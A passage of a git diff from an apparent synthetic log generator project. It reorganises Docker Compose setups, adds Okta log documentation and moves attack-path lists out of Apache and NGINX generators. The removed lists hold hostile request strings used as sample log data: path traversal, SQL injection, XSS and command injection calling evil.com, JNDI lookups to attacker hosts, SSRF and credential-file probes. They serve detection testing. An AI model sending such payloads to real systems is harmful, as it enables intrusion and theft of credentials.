's|ghcr.io/observiq/blitz:latest|blitz:local|g' docker/docker-compose.*.yml +# Update compose file to use local image +sed -i 's|ghcr.io/observiq/blitz:latest|blitz:local|g' docker/docker-compose.telemetry-generator.yml ``` + +## Kubernetes Deployment + +For Kubernetes deployment, see the `app/telemetry-generator/` directory in the [iris-cluster-config](https://github.com/observIQ/iris-cluster-config) repository. diff --git a/docker/docker-compose.json-pii-stage.yml b/docker/docker-compose.json-pii-stage.yml deleted file mode 100644 index e78c903..0000000 --- a/docker/docker-compose.json-pii-stage.yml +++ /dev/null @@ -1,71 +0,0 @@ -# JSON & PII Logs - Docker Compose Configuration (Stage) -# -# Generates JSON (1x) and PII (15x) logs via TCP. -# -# Usage: -# OPAMP_ENDPOINT_STAGE=wss://stage.bindplane.com/v1/opamp \ -# OPAMP_SECRET_KEY_STAGE=your-secret-key \ -# docker compose -f docker/docker-compose.json-pii-stage.yml -p json-pii-stage up -# -# TCP Port: 5170 - -x-blitz-common: &blitz-common - image: blitz:local - restart: unless-stopped - environment: - BLITZ_OUTPUT_TYPE: tcp - BLITZ_OUTPUT_TCP_HOST: collector-json-pii-stage - BLITZ_OUTPUT_TCP_PORT: "5170" - BLITZ_LOGGING_LEVEL: info - depends_on: - - collector-json-pii-stage - networks: - - json-pii-stage-net - -services: - collector-json-pii-stage: - image: observiq/bindplane-agent:latest - restart: unless-stopped - user: "0" - environment: - OPAMP_ENDPOINT: ${OPAMP_ENDPOINT_STAGE:?OPAMP_ENDPOINT_STAGE is required} - OPAMP_SECRET_KEY: ${OPAMP_SECRET_KEY_STAGE:?OPAMP_SECRET_KEY_STAGE is required} - OPAMP_AGENT_NAME: blitz-json-pii-collector-stage - OPAMP_LABELS: "env=stage,pipeline=json-pii" - OPAMP_CONFIG: ${OPAMP_CONFIG_JSON_PII_STAGE:-blitz-json-pii} - ports: - - "5170:5170" - volumes: - - collector-json-pii-stage-data:/etc/otel - networks: - - json-pii-stage-net - - # JSON Log Generator (1x workers) - blitz-json-stage: - <<: *blitz-common - environment: - BLITZ_GENERATOR_TYPE: json - BLITZ_GENERATOR_JSON_WORKERS: ${BLITZ_WORKERS:-1} - BLITZ_GENERATOR_JSON_RATE: ${BLITZ_RATE:-1s} - BLITZ_OUTPUT_TYPE: tcp - BLITZ_OUTPUT_TCP_HOST: collector-json-pii-stage - BLITZ_OUTPUT_TCP_PORT: "5170" - - # PII Log Generator (15x workers) - blitz-pii-stage: - <<: *blitz-common - environment: - BLITZ_GENERATOR_TYPE: json - BLITZ_GENERATOR_JSON_TYPE: pii - BLITZ_GENERATOR_JSON_WORKERS: ${BLITZ_PII_WORKERS:-15} - BLITZ_GENERATOR_JSON_RATE: ${BLITZ_RATE:-1s} - BLITZ_OUTPUT_TYPE: tcp - BLITZ_OUTPUT_TCP_HOST: collector-json-pii-stage - BLITZ_OUTPUT_TCP_PORT: "5170" - -networks: - json-pii-stage-net: - driver: bridge - -volumes: - collector-json-pii-stage-data: diff --git a/docker/docker-compose.json-pii.yml b/docker/docker-compose.json-pii.yml deleted file mode 100644 index 169f391..0000000 --- a/docker/docker-compose.json-pii.yml +++ /dev/null @@ -1,71 +0,0 @@ -# JSON & PII Logs - Docker Compose Configuration (Production) -# -# Generates JSON (1x) and PII (15x) logs via TCP. -# -# Usage: -# OPAMP_ENDPOINT=wss://app.bindplane.com/v1/opamp \ -# OPAMP_SECRET_KEY=your-secret-key \ -# docker compose -f docker/docker-compose.json-pii.yml -p json-pii up -# -# TCP Port: 5160 - -x-blitz-common: &blitz-common - image: blitz:local - restart: unless-stopped - environment: - BLITZ_OUTPUT_TYPE: tcp - BLITZ_OUTPUT_TCP_HOST: collector-json-pii - BLITZ_OUTPUT_TCP_PORT: "5160" - BLITZ_LOGGING_LEVEL: info - depends_on: - - collector-json-pii - networks: - - json-pii-net - -services: - collector-json-pii: - image: observiq/bindplane-agent:latest - restart: unless-stopped - user: "0" - environment: - OPAMP_ENDPOINT: ${OPAMP_ENDPOINT:?OPAMP_ENDPOINT is required} - OPAMP_SECRET_KEY: ${OPAMP_SECRET_KEY:?OPAMP_SECRET_KEY is required} - OPAMP_AGENT_NAME: blitz-json-pii-collector - OPAMP_LABELS: "env=production,pipeline=json-pii" - OPAMP_CONFIG: ${OPAMP_CONFIG_JSON_PII:-blitz-json-pii} - ports: - - "5160:5160" - volumes: - - collector-json-pii-data:/etc/otel - networks: - - json-pii-net - - # JSON Log Generator (1x workers) - blitz-json: - <<: *blitz-common - environment: - BLITZ_GENERATOR_TYPE: json - BLITZ_GENERATOR_JSON_WORKERS: ${BLITZ_WORKERS:-1} - BLITZ_GENERATOR_JSON_RATE: ${BLITZ_RATE:-1s} - BLITZ_OUTPUT_TYPE: tcp - BLITZ_OUTPUT_TCP_HOST: collector-json-pii - BLITZ_OUTPUT_TCP_PORT: "5160" - - # PII Log Generator (15x workers) - blitz-pii: - <<: *blitz-common - environment: - BLITZ_GENERATOR_TYPE: json - BLITZ_GENERATOR_JSON_TYPE: pii - BLITZ_GENERATOR_JSON_WORKERS: ${BLITZ_PII_WORKERS:-15} - BLITZ_GENERATOR_JSON_RATE: ${BLITZ_RATE:-1s} - BLITZ_OUTPUT_TYPE: tcp - BLITZ_OUTPUT_TCP_HOST: collector-json-pii - BLITZ_OUTPUT_TCP_PORT: "5160" - -networks: - json-pii-net: - driver: bridge - -volumes: - collector-json-pii-data: diff --git a/docker/docker-compose.okta-stage.yml b/docker/docker-compose.okta-stage.yml deleted file mode 100644 index f21881e..0000000 --- a/docker/docker-compose.okta-stage.yml +++ /dev/null @@ -1,52 +0,0 @@ -# Okta Logs - Docker Compose Configuration (Stage) -# -# Generates Okta System Log events via TCP. -# -# Usage: -# OPAMP_ENDPOINT_STAGE=wss://stage.bindplane.com/v1/opamp \ -# OPAMP_SECRET_KEY_STAGE=your-secret-key \ -# docker compose -f docker/docker-compose.okta-stage.yml -p okta-stage up -# -# TCP Port: 5190 - -services: - collector-okta-stage: - image: observiq/bindplane-agent:latest - restart: unless-stopped - user: "0" - environment: - OPAMP_ENDPOINT: ${OPAMP_ENDPOINT_STAGE:?OPAMP_ENDPOINT_STAGE is required} - OPAMP_SECRET_KEY: ${OPAMP_SECRET_KEY_STAGE:?OPAMP_SECRET_KEY_STAGE is required} - OPAMP_AGENT_NAME: blitz-okta-collector-stage - OPAMP_LABELS: "env=stage,pipeline=okta" - OPAMP_CONFIG: ${OPAMP_CONFIG_OKTA_STAGE:-blitz-okta} - ports: - - "5190:5190" - volumes: - - collector-okta-stage-data:/etc/otel - networks: - - okta-stage-net - - # Okta Log Generator - blitz-okta-stage: - image: blitz:local - restart: unless-stopped - environment: - BLITZ_GENERATOR_TYPE: okta - BLITZ_GENERATOR_OKTA_WORKERS: ${BLITZ_OKTA_WORKERS:-1} - BLITZ_GENERATOR_OKTA_RATE: ${BLITZ_RATE:-1s} - BLITZ_OUTPUT_TYPE: tcp - BLITZ_OUTPUT_TCP_HOST: collector-okta-stage - BLITZ_OUTPUT_TCP_PORT: "5190" - BLITZ_LOGGING_LEVEL: info - depends_on: - - collector-okta-stage - networks: - - okta-stage-net - -networks: - okta-stage-net: - driver: bridge - -volumes: - collector-okta-stage-data: diff --git a/docker/docker-compose.okta.yml b/docker/docker-compose.okta.yml deleted file mode 100644 index a478a29..0000000 --- a/docker/docker-compose.okta.yml +++ /dev/null @@ -1,52 +0,0 @@ -# Okta Logs - Docker Compose Configuration (Production) -# -# Generates Okta System Log events via TCP. -# -# Usage: -# OPAMP_ENDPOINT=wss://app.bindplane.com/v1/opamp \ -# OPAMP_SECRET_KEY=your-secret-key \ -# docker compose -f docker/docker-compose.okta.yml -p okta up -# -# TCP Port: 5180 - -services: - collector-okta: - image: observiq/bindplane-agent:latest - restart: unless-stopped - user: "0" - environment: - OPAMP_ENDPOINT: ${OPAMP_ENDPOINT:?OPAMP_ENDPOINT is required} - OPAMP_SECRET_KEY: ${OPAMP_SECRET_KEY:?OPAMP_SECRET_KEY is required} - OPAMP_AGENT_NAME: blitz-okta-collector - OPAMP_LABELS: "env=production,pipeline=okta" - OPAMP_CONFIG: ${OPAMP_CONFIG_OKTA:-blitz-okta} - ports: - - "5180:5180" - volumes: - - collector-okta-data:/etc/otel - networks: - - okta-net - - # Okta Log Generator - blitz-okta: - image: blitz:local - restart: unless-stopped - environment: - BLITZ_GENERATOR_TYPE: okta - BLITZ_GENERATOR_OKTA_WORKERS: ${BLITZ_OKTA_WORKERS:-1} - BLITZ_GENERATOR_OKTA_RATE: ${BLITZ_RATE:-1s} - BLITZ_OUTPUT_TYPE: tcp - BLITZ_OUTPUT_TCP_HOST: collector-okta - BLITZ_OUTPUT_TCP_PORT: "5180" - BLITZ_LOGGING_LEVEL: info - depends_on: - - collector-okta - networks: - - okta-net - -networks: - okta-net: - driver: bridge - -volumes: - collector-okta-data: diff --git a/docker/docker-compose.telemetry-generator.yml b/docker/docker-compose.telemetry-generator.yml new file mode 100644 index 0000000..a0d655c --- /dev/null +++ b/docker/docker-compose.telemetry-generator.yml @@ -0,0 +1,178 @@ +# Telemetry Generator - Docker Compose Configuration +# +# Runs all Blitz generators and sends telemetry to an OpAMP-managed collector. +# +# Usage (from blitz repo root): +# OPAMP_ENDPOINT=wss://your-opamp-server.com/v1/opamp \ +# OPAMP_SECRET_KEY=your-secret-key \ +# docker compose -f docker/docker-compose.telemetry-generator.yml up +# +# Required environment variables: +# - OPAMP_ENDPOINT: OpAMP WebSocket endpoint +# - OPAMP_SECRET_KEY: OpAMP secret key for authentication +# +# Optional environment variables: +# - BLITZ_RATE: Log generation rate (default: 1s) +# - BLITZ_WORKERS: Workers per generator (default: 1) +# - BLITZ_PII_WORKERS: PII workers (default: 1) + +x-blitz-common: &blitz-common + image: ghcr.io/observiq/blitz:latest + restart: unless-stopped + environment: + BLITZ_OUTPUT_TYPE: otlp-grpc + BLITZ_OUTPUT_OTLPGRPC_HOST: bdot-collector + BLITZ_OUTPUT_OTLPGRPC_PORT: "4317" + BLITZ_LOGGING_LEVEL: info + depends_on: + - bdot-collector + networks: + - telemetry-net + +services: + # Collector - receives OTLP from Blitz instances, connects to management platform via OpAMP + bdot-collector: + image: observiq/bindplane-agent:latest + restart: unless-stopped + user: "0" + environment: + OPAMP_ENDPOINT: ${OPAMP_ENDPOINT:?OPAMP_ENDPOINT is required} + OPAMP_SECRET_KEY: ${OPAMP_SECRET_KEY:?OPAMP_SECRET_KEY is required} + OPAMP_AGENT_NAME: telemetry-generator-collector + OPAMP_LABELS: "env=docker,component=telemetry-generator" + ports: + - "4317:4317" # OTLP gRPC + - "4318:4318" # OTLP HTTP + volumes: + - collector-data:/etc/otel + networks: + - telemetry-net + + # JSON Log Generator + blitz-json: + <<: *blitz-common + environment: + BLITZ_GENERATOR_TYPE: json + BLITZ_GENERATOR_JSON_WORKERS: ${BLITZ_WORKERS:-1} + BLITZ_GENERATOR_JSON_RATE: ${BLITZ_RATE:-1s} + BLITZ_OUTPUT_TYPE: otlp-grpc + BLITZ_OUTPUT_OTLPGRPC_HOST: bdot-collector + BLITZ_OUTPUT_OTLPGRPC_PORT: "4317" + + # PII Log Generator (JSON with comprehensive PII data - 37 sensitive data types) + blitz-pii: + <<: *blitz-common + environment: + BLITZ_GENERATOR_TYPE: json + BLITZ_GENERATOR_JSON_TYPE: pii + BLITZ_GENERATOR_JSON_WORKERS: ${BLITZ_PII_WORKERS:-1} + BLITZ_GENERATOR_JSON_RATE: ${BLITZ_RATE:-1s} + BLITZ_OUTPUT_TYPE: otlp-grpc + BLITZ_OUTPUT_OTLPGRPC_HOST: bdot-collector + BLITZ_OUTPUT_OTLPGRPC_PORT: "4317" + + # Windows Event Log Generator + blitz-winevt: + <<: *blitz-common + environment: + BLITZ_GENERATOR_TYPE: winevt + BLITZ_GENERATOR_WINEVT_WORKERS: ${BLITZ_WORKERS:-1} + BLITZ_GENERATOR_WINEVT_RATE: ${BLITZ_RATE:-1s} + BLITZ_OUTPUT_TYPE: otlp-grpc + BLITZ_OUTPUT_OTLPGRPC_HOST: bdot-collector + BLITZ_OUTPUT_OTLPGRPC_PORT: "4317" + + # Palo Alto Firewall Log Generator + blitz-palo-alto: + <<: *blitz-common + environment: + BLITZ_GENERATOR_TYPE: palo-alto + BLITZ_GENERATOR_PALOALTO_WORKERS: ${BLITZ_WORKERS:-1} + BLITZ_GENERATOR_PALOALTO_RATE: ${BLITZ_RATE:-1s} + BLITZ_OUTPUT_TYPE: otlp-grpc + BLITZ_OUTPUT_OTLPGRPC_HOST: bdot-collector + BLITZ_OUTPUT_OTLPGRPC_PORT: "4317" + + # Apache Common Log Generator + blitz-apache-common: + <<: *blitz-common + environment: + BLITZ_GENERATOR_TYPE: apache-common + BLITZ_GENERATOR_APACHECOMMON_WORKERS: ${BLITZ_WORKERS:-1} + BLITZ_GENERATOR_APACHECOMMON_RATE: ${BLITZ_RATE:-1s} + BLITZ_OUTPUT_TYPE: otlp-grpc + BLITZ_OUTPUT_OTLPGRPC_HOST: bdot-collector + BLITZ_OUTPUT_OTLPGRPC_PORT: "4317" + + # Apache Combined Log Generator + blitz-apache-combined: + <<: *blitz-common + environment: + BLITZ_GENERATOR_TYPE: apache-combined + BLITZ_GENERATOR_APACHECOMBINED_WORKERS: ${BLITZ_WORKERS:-1} + BLITZ_GENERATOR_APACHECOMBINED_RATE: ${BLITZ_RATE:-1s} + BLITZ_OUTPUT_TYPE: otlp-grpc + BLITZ_OUTPUT_OTLPGRPC_HOST: bdot-collector + BLITZ_OUTPUT_OTLPGRPC_PORT: "4317" + + # Apache Error Log Generator + blitz-apache-error: + <<: *blitz-common + environment: + BLITZ_GENERATOR_TYPE: apache-error + BLITZ_GENERATOR_APACHEERROR_WORKERS: ${BLITZ_WORKERS:-1} + BLITZ_GENERATOR_APACHEERROR_RATE: ${BLITZ_RATE:-1s} + BLITZ_OUTPUT_TYPE: otlp-grpc + BLITZ_OUTPUT_OTLPGRPC_HOST: bdot-collector + BLITZ_OUTPUT_OTLPGRPC_PORT: "4317" + + # NGINX Log Generator + blitz-nginx: + <<: *blitz-common + environment: + BLITZ_GENERATOR_TYPE: nginx + BLITZ_GENERATOR_NGINX_WORKERS: ${BLITZ_WORKERS:-1} + BLITZ_GENERATOR_NGINX_RATE: ${BLITZ_RATE:-1s} + BLITZ_OUTPUT_TYPE: otlp-grpc + BLITZ_OUTPUT_OTLPGRPC_HOST: bdot-collector + BLITZ_OUTPUT_OTLPGRPC_PORT: "4317" + + # PostgreSQL Log Generator + blitz-postgres: + <<: *blitz-common + environment: + BLITZ_GENERATOR_TYPE: postgres + BLITZ_GENERATOR_POSTGRES_WORKERS: ${BLITZ_WORKERS:-1} + BLITZ_GENERATOR_POSTGRES_RATE: ${BLITZ_RATE:-1s} + BLITZ_OUTPUT_TYPE: otlp-grpc + BLITZ_OUTPUT_OTLPGRPC_HOST: bdot-collector + BLITZ_OUTPUT_OTLPGRPC_PORT: "4317" + + # Kubernetes Log Generator + blitz-kubernetes: + <<: *blitz-common + environment: + BLITZ_GENERATOR_TYPE: kubernetes + BLITZ_GENERATOR_KUBERNETES_WORKERS: ${BLITZ_WORKERS:-1} + BLITZ_GENERATOR_KUBERNETES_RATE: ${BLITZ_RATE:-1s} + BLITZ_OUTPUT_TYPE: otlp-grpc + BLITZ_OUTPUT_OTLPGRPC_HOST: bdot-collector + BLITZ_OUTPUT_OTLPGRPC_PORT: "4317" + + # Okta System Log Generator + blitz-okta: + <<: *blitz-common + environment: + BLITZ_GENERATOR_TYPE: okta + BLITZ_GENERATOR_OKTA_WORKERS: ${BLITZ_WORKERS:-1} + BLITZ_GENERATOR_OKTA_RATE: ${BLITZ_RATE:-1s} + BLITZ_OUTPUT_TYPE: otlp-grpc + BLITZ_OUTPUT_OTLPGRPC_HOST: bdot-collector + BLITZ_OUTPUT_OTLPGRPC_PORT: "4317" + +networks: + telemetry-net: + driver: bridge + +volumes: + collector-data: diff --git a/docker/docker-compose.web-db-stage.yml b/docker/docker-compose.web-db-stage.yml deleted file mode 100644 index d63f69a..0000000 --- a/docker/docker-compose.web-db-stage.yml +++ /dev/null @@ -1,81 +0,0 @@ -# Web & Database Logs - Docker Compose Configuration (Stage) -# -# Generates Apache (10x), PostgreSQL, and Kubernetes logs via TCP. -# -# Usage: -# OPAMP_ENDPOINT_STAGE=wss://stage.bindplane.com/v1/opamp \ -# OPAMP_SECRET_KEY_STAGE=your-secret-key \ -# docker compose -f docker/docker-compose.web-db-stage.yml -p web-db-stage up -# -# TCP Port: 5150 - -x-blitz-common: &blitz-common - image: blitz:local - restart: unless-stopped - environment: - BLITZ_OUTPUT_TYPE: tcp - BLITZ_OUTPUT_TCP_HOST: collector-web-db-stage - BLITZ_OUTPUT_TCP_PORT: "5150" - BLITZ_LOGGING_LEVEL: info - depends_on: - - collector-web-db-stage - networks: - - web-db-stage-net - -services: - collector-web-db-stage: - image: observiq/bindplane-agent:latest - restart: unless-stopped - user: "0" - environment: - OPAMP_ENDPOINT: ${OPAMP_ENDPOINT_STAGE:?OPAMP_ENDPOINT_STAGE is required} - OPAMP_SECRET_KEY: ${OPAMP_SECRET_KEY_STAGE:?OPAMP_SECRET_KEY_STAGE is required} - OPAMP_AGENT_NAME: blitz-web-db-collector-stage - OPAMP_LABELS: "env=stage,pipeline=web-db" - OPAMP_CONFIG: ${OPAMP_CONFIG_WEB_DB_STAGE:-blitz-web-db} - ports: - - "5150:5150" - volumes: - - collector-web-db-stage-data:/etc/otel - networks: - - web-db-stage-net - - # Apache Log Generator (10x workers) - blitz-apache-stage: - <<: *blitz-common - environment: - BLITZ_GENERATOR_TYPE: apache-common - BLITZ_GENERATOR_APACHECOMMON_WORKERS: ${BLITZ_APACHE_WORKERS:-20} - BLITZ_GENERATOR_APACHECOMMON_RATE: ${BLITZ_RATE:-1s} - BLITZ_OUTPUT_TYPE: tcp - BLITZ_OUTPUT_TCP_HOST: collector-web-db-stage - BLITZ_OUTPUT_TCP_PORT: "5150" - - # PostgreSQL Log Generator (1x workers) - blitz-postgres-stage: - <<: *blitz-common - environment: - BLITZ_GENERATOR_TYPE: postgres - BLITZ_GENERATOR_POSTGRES_WORKERS: ${BLITZ_WORKERS:-1} - BLITZ_GENERATOR_POSTGRES_RATE: ${BLITZ_RATE:-1s} - BLITZ_OUTPUT_TYPE: tcp - BLITZ_OUTPUT_TCP_HOST: collector-web-db-stage - BLITZ_OUTPUT_TCP_PORT: "5150" - - # Kubernetes Log Generator (1x workers) - blitz-kubernetes-stage: - <<: *blitz-common - environment: - BLITZ_GENERATOR_TYPE: kubernetes - BLITZ_GENERATOR_KUBERNETES_WORKERS: ${BLITZ_WORKERS:-1} - BLITZ_GENERATOR_KUBERNETES_RATE: ${BLITZ_RATE:-1s} - BLITZ_OUTPUT_TYPE: tcp - BLITZ_OUTPUT_TCP_HOST: collector-web-db-stage - BLITZ_OUTPUT_TCP_PORT: "5150" - -networks: - web-db-stage-net: - driver: bridge - -volumes: - collector-web-db-stage-data: diff --git a/docker/docker-compose.web-db.yml b/docker/docker-compose.web-db.yml deleted file mode 100644 index b5b6675..0000000 --- a/docker/docker-compose.web-db.yml +++ /dev/null @@ -1,81 +0,0 @@ -# Web & Database Logs - Docker Compose Configuration (Production) -# -# Generates Apache (10x), PostgreSQL, and Kubernetes logs via TCP. -# -# Usage: -# OPAMP_ENDPOINT=wss://app.bindplane.com/v1/opamp \ -# OPAMP_SECRET_KEY=your-secret-key \ -# docker compose -f docker/docker-compose.web-db.yml -p web-db up -# -# TCP Port: 5140 - -x-blitz-common: &blitz-common - image: blitz:local - restart: unless-stopped - environment: - BLITZ_OUTPUT_TYPE: tcp - BLITZ_OUTPUT_TCP_HOST: collector-web-db - BLITZ_OUTPUT_TCP_PORT: "5140" - BLITZ_LOGGING_LEVEL: info - depends_on: - - collector-web-db - networks: - - web-db-net - -services: - collector-web-db: - image: observiq/bindplane-agent:latest - restart: unless-stopped - user: "0" - environment: - OPAMP_ENDPOINT: ${OPAMP_ENDPOINT:?OPAMP_ENDPOINT is required} - OPAMP_SECRET_KEY: ${OPAMP_SECRET_KEY:?OPAMP_SECRET_KEY is required} - OPAMP_AGENT_NAME: blitz-web-db-collector - OPAMP_LABELS: "env=production,pipeline=web-db" - OPAMP_CONFIG: ${OPAMP_CONFIG_WEB_DB:-blitz-web-db} - ports: - - "5140:5140" - volumes: - - collector-web-db-data:/etc/otel - networks: - - web-db-net - - # Apache Log Generator (10x workers) - blitz-apache: - <<: *blitz-common - environment: - BLITZ_GENERATOR_TYPE: apache-common - BLITZ_GENERATOR_APACHECOMMON_WORKERS: ${BLITZ_APACHE_WORKERS:-20} - BLITZ_GENERATOR_APACHECOMMON_RATE: ${BLITZ_RATE:-1s} - BLITZ_OUTPUT_TYPE: tcp - BLITZ_OUTPUT_TCP_HOST: collector-web-db - BLITZ_OUTPUT_TCP_PORT: "5140" - - # PostgreSQL Log Generator (1x workers) - blitz-postgres: - <<: *blitz-common - environment: - BLITZ_GENERATOR_TYPE: postgres - BLITZ_GENERATOR_POSTGRES_WORKERS: ${BLITZ_WORKERS:-1} - BLITZ_GENERATOR_POSTGRES_RATE: ${BLITZ_RATE:-1s} - BLITZ_OUTPUT_TYPE: tcp - BLITZ_OUTPUT_TCP_HOST: collector-web-db - BLITZ_OUTPUT_TCP_PORT: "5140" - - # Kubernetes Log Generator (1x workers) - blitz-kubernetes: - <<: *blitz-common - environment: - BLITZ_GENERATOR_TYPE: kubernetes - BLITZ_GENERATOR_KUBERNETES_WORKERS: ${BLITZ_WORKERS:-1} - BLITZ_GENERATOR_KUBERNETES_RATE: ${BLITZ_RATE:-1s} - BLITZ_OUTPUT_TYPE: tcp - BLITZ_OUTPUT_TCP_HOST: collector-web-db - BLITZ_OUTPUT_TCP_PORT: "5140" - -networks: - web-db-net: - driver: bridge - -volumes: - collector-web-db-data: diff --git a/docs/generator/okta.md b/docs/generator/okta.md new file mode 100644 index 0000000..ca976b4 --- /dev/null +++ b/docs/generator/okta.md @@ -0,0 +1,54 @@ +# Okta System Log Generator + +The Okta generator creates synthetic Okta System Log events in JSON format. It produces realistic authentication, security, user lifecycle, and administrative events that match the Okta System Log API schema. + +## Description + +The Okta System Log format is a JSON structure that includes event type, actor, client context, outcome, target, and security context fields. The generator produces events across multiple categories: authentication (login, SSO, MFA), security threats (brute force, credential stuffing, impossible travel), user lifecycle (create, activate, suspend, delete), password operations, application and group membership changes, policy management, and administrative actions. + +## Example Logs + +```json +{"uuid":"a1b2c3d4-e5f6-7890-abcd-ef1234567890","published":"2025-11-10T21:11:47.123Z","eventType":"user.session.start","version":"0","severity":"INFO","displayMessage":"User login to Okta","actor":{"id":"00u1234567890","type":"User","alternateId":"john.smith@example.com","displayName":"John Smith"},"client":{"userAgent":{"rawUserAgent":"Mozilla/5.0...","os":"Unknown","browser":"UNKNOWN"},"zone":"null","device":"Unknown","ipAddress":"192.168.1.100","geographicalContext":{"city":"San Francisco","state":"California","country":"United States","postalCode":"94102","geolocation":{"lat":37.7749,"lon":-122.4194}}},"outcome":{"result":"SUCCESS"},"target":[{"id":"0oa1234567890","type":"AppInstance","alternateId":"slack","displayName":"Slack"}],"transaction":{"type":"WEB","id":"AbCdEfGhIjKlMnOpQrSt","detail":{}},"authenticationContext":{"authenticationProvider":"OKTA_AUTHENTICATION_PROVIDER","credentialProvider":"OKTA_CREDENTIAL_PROVIDER","credentialType":"PASSWORD"},"securityContext":{"asNumber":12345,"asOrg":"example-isp","isp":"Example ISP","domain":"example.com","isProxy":false}} +``` + +## Configuration + +| YAML Path | Flag Name | Environment Variable | Default | Description | +|-----------|-----------|---------------------|---------|-------------| +| `generator.type` | `--generator-type` | `BLITZ_GENERATOR_TYPE` | `nop` | Generator type. Set to `okta` to use this generator. | +| `generator.okta.workers` | `--generator-okta-workers` | `BLITZ_GENERATOR_OKTA_WORKERS` | `1` | Number of Okta generator workers (must be >= 1) | +| `generator.okta.rate` | `--generator-okta-rate` | `BLITZ_GENERATOR_OKTA_RATE` | `1s` | Rate at which logs are generated per worker (duration format) | + +## Example Configuration + +```yaml +generator: + type: okta + okta: + workers: 5 + rate: 100ms +``` + +## Event Categories + +| Category | Event Types | Severity | +|----------|------------|----------| +| Authentication | `user.session.start`, `user.session.end`, `user.authentication.sso`, `user.authentication.auth_via_mfa` | INFO/WARN | +| Security | `security.threat.detected`, `security.request.blocked`, `user.session.impersonation.start` | WARN/ERROR | +| User Lifecycle | `user.lifecycle.create`, `user.lifecycle.activate`, `user.lifecycle.deactivate`, `user.lifecycle.suspend` | INFO/WARN | +| Password | `user.account.update_password`, `user.account.reset_password`, `user.credential.forgot_password` | INFO | +| Application | `app.user_membership.add`, `app.user_membership.remove`, `application.lifecycle.create` | INFO | +| Group | `group.user_membership.add`, `group.user_membership.remove`, `group.lifecycle.create` | INFO | +| Policy | `policy.lifecycle.create`, `policy.lifecycle.update`, `policy.rule.create` | INFO | +| Admin | `user.account.privilege.grant`, `system.api_token.create`, `system.api_token.revoke` | INFO/WARN | + +## Metrics + +The Okta generator exposes the following metrics: + +- **`blitz.generator.logs.generated`** (Counter): Total number of logs generated +- **`blitz.generator.workers.active`** (Gauge): Number of active worker goroutines +- **`blitz.generator.write.errors`** (Counter): Total number of write errors, labeled by `error_type` (`unknown` or `timeout`) + +All metrics include a `component` label set to `generator_okta`. diff --git a/generator/apache/apache.go b/generator/apache/apache.go index 9c2ecac..d7e2f2f 100644 --- a/generator/apache/apache.go +++ b/generator/apache/apache.go @@ -10,6 +10,7 @@ import ( "time" "github.com/cenkalti/backoff/v4" + "github.com/observiq/blitz/internal/generator/security" "github.com/observiq/blitz/output" "go.opentelemetry.io/otel" "go.opentelemetry.io/otel/attribute" @@ -286,86 +287,10 @@ func generateRequest(r *rand.Rand) string { "/api/v1/verification", } - // Security-focused paths (attack patterns) - attackPaths := []string{ - // Directory traversal attacks - "/../../etc/passwd", - "/..%2f..%2f..%2fetc/passwd", - "/....//....//....//etc/shadow", - "/api/v1/files?path=../../../etc/passwd", - "/download?file=....//....//....//etc/hosts", - "/static/..%252f..%252f..%252fetc/passwd", - - // SQL injection attempts - "/api/v1/users?id=1'%20OR%20'1'='1", - "/api/v1/search?q=';DROP%20TABLE%20users;--", - "/api/v1/login?user=admin'--&pass=x", - "/api/v1/products?category=1%20UNION%20SELECT%20password%20FROM%20users", - "/api/v1/orders?id=1;%20WAITFOR%20DELAY%20'00:00:10'", - "/api/v1/accounts?name='+OR+1=1--", - - // XSS attempts - "/search?q=", - "/api/v1/comments?text=%3Cscript%3Edocument.location='http://evil.com/'%3C/script%3E", - "/profile?name=", - "/api/v1/feedback?msg=", - - // Command injection - "/api/v1/ping?host=127.0.0.1;cat%20/etc/passwd", - "/api/v1/backup?file=test|wget%20http://evil.com/shell.sh", - "/cgi-bin/test.cgi?cmd=ls%20-la", - "/api/v1/convert?url=http://evil.com/$(whoami)", - - // Scanner and reconnaissance - "/admin", - "/admin/login", - "/wp-admin/", - "/wp-login.php", - "/phpmyadmin/", - "/phpMyAdmin/", - "/.env", - "/.git/config", - "/.git/HEAD", - "/config.php", - "/web.config", - "/server-status", - "/server-info", - "/.aws/credentials", - "/.ssh/id_rsa", - "/backup.sql", - "/database.sql", - "/api/swagger.json", - "/actuator/env", - "/actuator/health", - "/debug/pprof/", - "/trace", - "/metrics", - - // Authentication bypass attempts - "/api/v1/admin?admin=true", - "/api/v1/users?role=admin", - "/api/internal/debug", - "/api/v1/auth/bypass", - - // SSRF attempts - "/api/v1/fetch?url=http://169.254.169.254/latest/meta-data/", - "/api/v1/proxy?target=http://localhost:6379/", - "/api/v1/webhook?callback=http://internal-service:8080/admin", - "/api/v1/image?src=file:///etc/passwd", - - // Log4j/JNDI injection - "/api/v1/search?q=${jndi:ldap://evil.com/a}", - "/api/v1/user-agent?ua=${jndi:rmi://attacker.com:1099/exploit}", - - // Shellshock - "/cgi-bin/test.sh", - "/cgi-bin/status", - } - // 20% chance of generating a security-focused path var path string if r.Float64() < 0.20 { // #nosec G404 - path = attackPaths[r.Intn(len(attackPaths))] // #nosec G404 + path = security.RandomAttackPath(r) } else { path = normalPaths[r.Intn(len(normalPaths))] // #nosec G404 } diff --git a/generator/json/json.go b/generator/json/json.go index ced6b33..7748516 100644 --- a/generator/json/json.go +++ b/generator/json/json.go @@ -308,7 +308,11 @@ func (g *JSONLogGenerator) recordWriteError(errorType string, err error) { // formatPIILogData formats PII log data with a random selection of 1-5 PII fields func formatPIILogData(d *logtypes.PIILogData) map[string]any { r := rand.New(rand.NewSource(time.Now().UnixNano())) // #nosec G404 + return formatPIILogDataWithRand(r, d) +} +// formatPIILogDataWithRand formats PII log data using the provided rand source +func formatPIILogDataWithRand(r *rand.Rand, d *logtypes.PIILogData) map[string]any { // All available PII fields piiFields := []struct { key string diff --git a/generator/nginx/nginx.go b/generator/nginx/nginx.go index ea453cd..97f786c 100644 --- a/generator/nginx/nginx.go +++ b/generator/nginx/nginx.go @@ -9,6 +9,7 @@ import ( "time" "github.com/cenkalti/backoff/v4" + "github.com/observiq/blitz/internal/generator/security" "github.com/observiq/blitz/internal/useragent" "github.com/observiq/blitz/output" "go.opentelemetry.io/otel" @@ -102,95 +103,6 @@ var ( "/settings", } - // Security-focused paths (attack patterns) - attackPaths = []string{ - // Directory traversal attacks - "/../../etc/passwd", - "/..%2f..%2f..%2fetc/passwd", - "/....//....//....//etc/shadow", - "/api/v1/files?path=../../../etc/passwd", - "/download?file=....//....//....//etc/hosts", - "/static/..%252f..%252f..%252fetc/passwd", - - // SQL injection attempts - "/api/v1/users?id=1'%20OR%20'1'='1", - "/api/v1/search?q=';DROP%20TABLE%20users;--", - "/api/v1/login?user=admin'--&pass=x", - 